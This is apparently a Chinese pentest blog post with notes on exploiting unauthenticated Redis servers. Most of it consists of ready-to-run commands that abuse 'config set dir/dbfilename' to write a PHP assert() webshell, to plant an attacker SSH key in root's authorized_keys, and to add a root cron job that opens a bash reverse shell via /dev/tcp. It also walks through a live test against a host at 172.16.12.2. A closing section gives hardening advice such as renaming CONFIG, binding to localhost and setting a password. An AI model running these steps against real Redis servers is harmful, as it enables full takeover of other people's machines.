偶然发现某大佬博客说了一下Redis的漏洞,便整理了一下笔记,并做了实战测试
0x00 笔记
1.写入webshell dir=绝对路径 dbfilename="1.php" 2.写入ssh公钥匙 本机生成公钥 sshssh-keygen -t rsa -C "test@test" dir=/root/.ssh/ dbfilename=authorized_keys \n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCV6En/yo9BrY7ba0BsiFbg2hxLVdNerk1r3oKU1V0qeVMzRG8WdXkAiEXcvcmei1c85gPXDK3bqUX1XyLOy+hXfnTRRGfbMPOCclyoT/L3xeS1KMvWlP0qJVip7Mz+gwCEkQxSbZqdzBHStSFgAzoeGf12wUKEHLEpX7x7bs03vMUB8z7i1f10N+is84THQ4lMCpG4w3+CdeOKEssL2nL5abRhItjrfYgQH5cxtpwq55w97mVQ7PR9U2JSQSVWMTxy3rTx+7QP4JI2RS5yDRsjH4ISVwvu3gGyYAPfa6yofK+jjqChkyX4ipmTP9hAXf7lEvoZClVjCAwg1qslKieH aariz@el8.land\n\n\n\n 3.写入定时任务,反弹shell dir=/var/spool/cron dbfilename=root set crack "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/ip/port 0>&1\n\n"
0x01 实战测试
使用redisk客户端链接远程主机6379
端口
redis-cli -h xxx.xxx.xxx.xxx -p 6379
IP打码了(这码打得不错吧)
拿WEBSHELL过程:
config set dir 网站绝对路径 config set dbfilename info.php //设置info.php为备份文件 set web '<?php assert($_POST[x]); ?>' //写入一句话到info.php save //保存,然后即可通过菜刀url链接info.php即可
0x0000 补充
ssh-keygen -t rsa 输入保存路径 输入密码:dyboy 重复输入密码:dyboy saved in /root/.ssh/id_rsa. key has been saved in /root/.ssh/id_rsa.pub. 将公钥写入foo.txt (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt 执行命令: cat /tmp/foo.txt | /usr/redis/redis-cli -h 172.16.12.2 -p 6379 -x set crackit 回显OK 连接主机,进入shell: /usr/redis/redis-cli -h 172.16.12.2 -p 6379 config set dir /root/.ssh/ config set dbfilename "authorized_keys" save exit 通过ssh链接主机 ssh root@172.16.12.2 -p 22 -i ~/.ssh/id_rsa
修复方法:
修复建议/安全建议
1.禁止一些高危命令
修改 redis.conf
文件,添加
rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL ""
来禁用远程修改 DB
文件地址
2.以低权限运行 Redis
服务
为 Redis
服务创建单独的用户和家目录,并且配置禁止登陆
$ groupadd -r redis && useradd -r -g redis redis
3.为 Redis
添加密码验证
修改 redis.conf
文件,添加 requirepass mypassword
4.禁止外网访问 Redis
修改 redis.conf
文件,添加或修改,使得 Redis
服务只在当前主机可用
bind 127.0.0.1
5.保证 authorized_keys
文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。将 authorized_keys
的权限设置为对拥有者只读,其他用户没有任何权限:
$ chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys
的权限不会被改掉,还需要设置该文件的 immutable
位权限:
# chattr +i ~/.ssh/authorized_keys`
然而,用户还可以重命名 ~/.ssh
,然后新建新的 ~/.ssh
目录和 authorized_keys
文件。要避免这种情况,需要设置 ~./ssh
的 immutable
位权限:
# chattr +i ~/.ssh`
注意: 如果需要添加新的公钥,需要移除 authorized_keys
的 immutable
位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable
位权限。
版权声明:《 [渗透测试]Redis未授权访问漏洞利用 》为DYBOY原创文章,转载请注明出处!
最后编辑:2018-6-18 20:06:49
2019-09-23 10:02